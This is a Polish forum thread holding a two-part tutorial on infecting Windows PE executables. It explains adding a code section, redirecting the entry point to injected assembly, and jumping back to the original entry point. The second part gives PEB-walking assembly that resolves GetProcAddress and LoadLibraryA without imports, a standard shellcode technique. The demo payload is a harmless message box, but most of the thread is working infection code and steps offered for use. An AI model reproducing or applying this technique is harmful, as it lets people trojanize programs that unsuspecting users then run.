+ Odpowiedz na ten temat
Pokaż wyniki od 1 do 2 z 2

Temat: [Tutorial]Infekcja plików exe cz.1

  1. #1
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 382

    Domyślnie

    Infekcja plików exe ? Tutorial
    cz.1 - XP

    Przygotowałem tutorial na temat infekcji plików exe.
    Co będzie nam potrzebne:
    - Defixed lub inny debugger
    - LordPe
    - Hexplorer lub inny hexedytor
    - masm
    - znajomosc asmeblera

    Zasada dzialania:
    Do docelowego programu dodajemy dodatkowa sekcje z kodem i ustawiamy na nia Entry Point wykonujemy nasz kod a nastepnie skaczemy do miejsca starego Entry Pointu

    Zaczynamy

    Najpierw znajdzmy plik ktory chcemy zmodyfikowac i dodac do niego swoj kod.
    Jeśli juz go mamy musimy napisac swoj kod ktory ma zostac wykonany. Napiszemy go w asemblerze ale tak aby zadna

    funkcja nie byla importowana z IAT(tablica importow). Posluzy nam do tego masm.

    Kod:
    GetFunc PROC adr1:dword,adr2:dword
    PUSH adr1 * * *;rzucamy na stos nazwe dll`ki
    mov eax,7C801D7Bh * *;kopiujemy do eax adres LoadLibraryA
    CALL eax * *;wywolujemy LoadLibraryA
    PUSH adr2 * *;rzucamy na stos nazwe importowanej funkcji
    PUSH eax * *;rzucamy na stos adres biblioteki
    mov eax,7C80AE30h * *;kopiujemy do eax adres GetProcAddress
    CALL eax * *;wywolujemy GetProcAddress
    ret * *;zwracamy adres funkcji
    GetFunc endp
    w naszym kodzie wywolamy funkcje MessageBoxA.
    Napiszmy wiec kod
    Kod:
    .386
    .model flat,stdcall
    option casemap:none
    GetFunc PROTO :dword,:dword
    .data
    msg db "MessageBoxA",0
    dll db "user32.dll",0
    wiad1 db "kodzik",0
    wiad2 db "msg",0
    .code
    start:
    PUSH OFFSET msg * * *;rzucamy na stos nazwe funkcji
    PUSH OFFSET dll * * *;rzucamy na stos nazwe dll`ki
    CALL GetFunc * * * * *;wywoujemy nasza funkcje pobierajaca adres
    PUSH 0 * * * * * * * *;rzucamy parametry funkcji MessageBoxA
    PUSH OFFSET wiad1 * *;rzucamy parametry funkcji MessageBoxA
    PUSH OFFSET wiad2 * *;rzucamy parametry funkcji MessageBoxA
    PUSH 0 * * * * * * * *;rzucamy parametry funkcji MessageBoxA
    CALL eax * * * * * * *;wywolujemy MessageBoxA
    xor eax, eax * * * * *;zerujemy eax
    ret * * * * * * * * *;koniec;musimy zostawic kilka NOP`ow aby po tym kodzie zrobic skok do starego EP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    
    ;nasza funkcja :)
    GetFunc PROC adr1:dword,adr2:dword
    PUSH adr1 * * * * * *;rzucamy na stos nazwe dll`ki
    mov eax,7C801D7Bh * *;kopiujemy do eax adres LoadLibraryA
    CALL eax * * * * * * *;wywolujemy LoadLibraryA
    PUSH adr2 * * * * * *;rzucamy na stos nazwe importowanej funkcji
    PUSH eax * * * * * * *;rzucamy na stos adres biblioteki
    mov eax,7C80AE30h * *;kopiujemy do eax adres GetProcAddress
    CALL eax * * * * * * *;wywolujemy GetProcAddress
    ret * * * * * * * * *;zwracamy adres funkcji
    GetFunc endp
    
    ;tu zostawiamy troche nopow ktore beda nam potrzebne pozniej do wrzucenia stringow
    NOP
    NOP
    NOP
    NOP
    NOP
    ...
    ...
    ...
    
    end start
    Ten kod kompilujemy prace z masmem mamy za soba.
    Teraz musimy otworzyc hexedytor i przekopiowac nasze stringi w miejsce nopow ktore zostawilismy na koncu
    http://img329.imageshack.us/img329/5193/81970425.jpg
    http://img37.imageshack.us/img37/4049/31100984.jpg
    zaznaczamy stringi ktore mamy nizej w sekcji data i naciskamy ctrl+c potem klikamy w miejsce nopow i naciskamy ctrl+v
    nastepnie zapisujemy ten plik.

    Koniec zabawy z hexedytorem

    Teraz nalezy zapisac stary entry point na kartce w tym celu otwieramy defixed i otwieramy w nim plik ktory bedziemy
    modyfikowac. Otworzy się nam okno z kodem tego programu i musimy przepisac numer ktory jest na na czarnym tle w

    kolumnie address(najczesciej 00401000 choc moze byc inny)

    Teraz musimy przekopiowac sekcje kodu do docelowego programu.
    uzyjemy do tego programu LordPE
    otwieramy go i klikamy na PE editor wybieramy plik ktory chwile temu modyfikowalismy i klikamy na

    sections wybieramy ta sekcje ktora ma flage 60000020 (zwykle nazywa sie code lub text) i kliakmy na niej

    prawym przyciskiem myszy i wybieramy save section to disc i zapisujemy sekcje w pliku na dysku
    nastepnie otwieramy docelowy plik przez LordPE i postepujemy tak samo jak w przypadku pliku wczesniejszego z tym ze

    tutaj robimy Load section from disc i wybieramy wczesniej zapisaną sekcje i zapisujemy(np. na kartce) VOffset

    dodanej sekcji. i na nowej sekcji klikamy prawym przyciskiem myszki i klikamy na edit section header
    ustawiamy flags na 60000020 klikamy ok. pozostaje jeszcze jedno zmienic entry point na ten zapisany na

    kartce(Voffset).
    wiec w pierwsze pole w glownym oknie wpisujemy nowy entry point i klikamy save.

    Teraz trzeba bedzie zmodyfikowac adresy stringow na takie ktore mamy w kodzie na rysunku zaznaczylem gdzie sie

    zaczynaja jakie stringi(string zaczyna sie znakiem a konczy 00)
    http://img26.imageshack.us/img26/1110/63811952.jpg
    http://img257.imageshack.us/img257/9539/56582823.jpg
    Teraz trzeba w miejsce wskazane na drugim rysunku w miejsce RET wpisac JMP stary_entry_point
    Np. JMP 00401000 Zapisujemy teraz plik(copy to executable->all modyfication) i cieszymy sie zainfekowanym plikiem.

    kod zrodlowy

    Ta metoda dziala tylko w systemie XP i nizszych gdyz w Viscie kernel32.dll nie jest ladowany zawsze pod ten sam adres
    o tym jak zrobic to w viscie w cz.2 ktora mam nadzieje niebawem powstanie



    Tutorial pochodzi ze strony grzonu.pl i nie moze byc kopiowany bez zgody autora
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  2. #2
    Dawni Moderatorzy Avatar grzonu
    Dołączył
    26-12-2006
    Skąd
    Gdansk, Poland, Poland
    Posty
    1 382

    Domyślnie

    Cz.2

    Tak jak obiecałem powstała część druga tutorialu dotyczącego infekcji plikow exe
    Robimy to identycznie jak w części pierwszej z tym ze procedura szukająca nie moze kozystac z adresow GetProcAddress i LoadLibrary wpisanych na stałe.

    Musimy napisac procedurę szukającą adresu GetProcAddress i LoadLibrary
    Kod:
    ;ta funkcja zwroci adres GetProcAddress
    GetPr PROC 
    get_delta:****
    ************
    ************mov eax,fs:dword ptr [30h]
    ************mov****eax, [eax+0Ch]********
    ********mov****esi, [eax+1Ch]********
    ********lodsd****************
    ********mov****ebx, [eax+08h]********
    
    ********mov****edx, [ebx+3Ch]
    ********add****edx, ebx
    
    ********mov****edx, [edx+78h]
    ********add****edx, ebx********
    ********mov****esi, [edx+20h]
    ************add****esi, ebx********
    ********xor****ecx, ecx********
    
    
    find_GetProcAddr:
    ********inc****ecx
    ********lodsd****************
    ********add****eax, ebx
    ********** 
    ********** 
    ****************.IF byte ptr [eax]==71 && byte ptr[eax+1] == 101 && byte ptr[eax+2] == 116 && byte ptr[eax+3] == 80 && byte ptr[eax+4] == 114 && byte ptr[eax+5] == 111
    ********************.IF byte ptr[eax+6] == 99 && byte ptr[eax+7] == 65 && byte ptr[eax+8] == 100 && byte ptr[eax+9] == 100 && byte ptr[eax+0Ah] == 114 && byte ptr[eax+0Bh] == 101** 
    ********************NOP
    ********************.ELSE
    ********************JMP find_GetProcAddr
    ********************.ENDIF
    ****************.ELSE
    ****************JMP find_GetProcAddr
    ****************.ENDIF
    ****************
    ********************** 
    ********** ****dec****ecx************
    ************mov****esi, [edx+1Ch]********
    ********add****esi, ebx
    ********mov****edx, [esi+ecx*4]
    ********add****edx, ebx********
    ********mov eax,edx
    ************ret
    GetPr endp
    Kod:
    ;ta funkcja pobiera adres LoadLibraryA
    GetLoadLib PROC
    
    get_delta:****
    ************mov eax,fs:dword ptr [30h]
    ************mov****eax, [eax+0Ch]********
    ********mov****esi, [eax+1Ch]********
    ********lodsd****************
    ********mov****ebx, [eax+08h]********
    
    ********mov****edx, [ebx+3Ch]
    ********add****edx, ebx
    
    ********mov****edx, [edx+78h]
    ********add****edx, ebx********
    ********mov****esi, [edx+20h]
    ************add****esi, ebx********
    ********xor****ecx, ecx********
    
    
    find_GetProcAddr:
    ********inc****ecx
    ********lodsd****************
    ********add****eax, ebx
    ********** 
    ********** 
    ****************.IF byte ptr [eax]==76 && byte ptr[eax+1] == 111 && byte ptr[eax+2] == 97 && byte ptr[eax+3] == 100 && byte ptr[eax+4] == 76 && byte ptr[eax+5] == 105
    ********************.IF byte ptr[eax+6] == 98 && byte ptr[eax+7] == 114 && byte ptr[eax+8] == 97 && byte ptr[eax+9] == 114 && byte ptr[eax+0Ah] == 121 && byte ptr[eax+0Bh] == 65** 
    ********************NOP
    ********************.ELSE
    ********************JMP find_GetProcAddr
    ********************.ENDIF
    ****************.ELSE
    ****************JMP find_GetProcAddr
    ****************.ENDIF
    ****************
    ********************** 
    ********** ****dec****ecx************
    **********************
    
    ********mov****esi, [edx+1Ch]********
    ********add****esi, ebx
    ********mov****edx, [esi+ecx*4]
    ********add****edx, ebx********
    ********mov eax,edx
    ************ret
    
    
    GetLoadLib endp
    A nasza stara funkcja do szukania adresu dowolnej funkcji ma teraz następującą postac

    Kod:
    GetFunc PROC adr1:dword,adr2:dword
    ********************************
    CALL GetLoadLib;pobieramy adres LoadLibraryA
    PUSH adr1********;rzucamy na stos nazwe ladowanej biblioteki
    CALL eax**********;Wywolujemy LoadLibraryPUSH adr2;rzucamy na stos nazwe funkcji
    PUSH eax******** ;rzucamy na stos uchwyt zwrocony przez LoadLibrary
    CALL GetPr****** ;Wywolujemy funkcje szukajaca adresu GetProcAddress
    CALL eax**********;Wywolujemy GetProcAddress
    ret;Zwracamy adres poszukiwanej funkcji
    ************************************
    GetFunc endp
    caly kod zrodlowy jest TU

    Wiem ze ten kod mógłby wyglądać duzo ladniej ale jakos nie mialem pomyslu zeby go upiększyć jak ktos chce to prosze bardzo
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

+ Odpowiedz na ten temat

Podobne wątki

  1. Tutorial-problem
    Przez ulosok
    w forum Hasla - Skanery - IP ...
    Odpowiedzi: 1
    Ostatni post / autor: 09-07-2009, 14:41
  2. [Tutorial]SQL Injection
    Przez Magnefikko
    w forum Tutoriale - częste pytania i odpowiedzi.
    Odpowiedzi: 0
    Ostatni post / autor: 19-06-2008, 13:47
  3. [Tutorial]Socjotechnika
    Przez Magnefikko
    w forum Tutoriale - częste pytania i odpowiedzi.
    Odpowiedzi: 1
    Ostatni post / autor: 10-06-2008, 21:33
  4. Tutorial - Ukrywanie IP w GG
    Przez mrx1
    w forum Tutoriale - częste pytania i odpowiedzi.
    Odpowiedzi: 1
    Ostatni post / autor: 19-05-2007, 22:05
  5. Tutorial Phytona
    Przez Irranus
    w forum Inne
    Odpowiedzi: 2
    Ostatni post / autor: 04-09-2005, 23:05

Uprawnienia

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów